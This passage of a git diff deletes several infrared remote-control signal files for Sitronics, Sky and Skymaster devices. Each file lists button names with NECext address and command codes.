+0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: scrollup -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: scrolldown -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: direct -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: jump -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir deleted file mode 100644 index a5cb78b86..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 08 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 09 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0C 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 13 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 16 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 17 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 18 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 19 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1A 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1B 00 00 00 -# -name: A-MODE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1D 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1E 00 00 00 -# -name: V-MODE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1F 00 00 00 -# -name: SEEK_BACK -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 40 00 00 00 -# -name: SEEK_FORW -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 41 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 42 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 43 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 44 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 45 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 48 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 49 00 00 00 -# -name: VIRTUAL -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4C 00 00 00 -# -name: KEY_MINUS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4D 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4E 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 50 00 00 00 -# -name: L/R/ST -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 51 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 52 00 00 00 -# -name: S.EFFECT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir deleted file mode 100644 index fc4a642c0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 24 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 28 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 3C 00 00 00 -# -name: FREV -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 3D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 3E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 3F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 40 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 5B 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 5C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 6D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 6F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 70 00 00 00 -# -name: BOX_OFFICE -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 7D 00 00 00 -# -name: SERVICES -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 7E 00 00 00 -# -name: SKY -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 80 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 81 00 00 00 -# -name: BACK_UP -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 83 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 84 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: CB 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: CC 00 00 00 -# -name: INTERACTIVE -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir deleted file mode 100644 index 659ad2272..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: pwr -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: sky -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir deleted file mode 100644 index 2764c26f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: tvvcr -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: ab -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 23 00 00 00 -# -name: vtzoom -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 29 00 00 00 -# -name: screen -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: vthalf -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 34 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 37 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3F 00 00 00 -# -name: vton -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir deleted file mode 100644 index 64770efae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 00 00 00 00 -# -name: f2 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 01 00 00 00 -# -name: f1 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 06 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 0A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 11 00 00 00 -# -name: f4 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 12 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 13 00 00 00 -# -name: f3 -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 1A 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 1B 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 1C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 1D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 1E 00 00 00 -# -name: p/c_2- -type: parsed -protocol: NECext -address: 25 FA 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir deleted file mode 100644 index 0d88b37a8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_I -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 14 00 00 00 -# -name: ALT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: BROWSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: TV/RAD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: EXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir deleted file mode 100644 index 45c2af561..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 02 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 05 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0B 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 18 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1C 00 00 00 -# -name: chan_search -type: parsed -protocol: NECext -address: 13 01 00 00 -command: 1D 00 00 00 diff --git 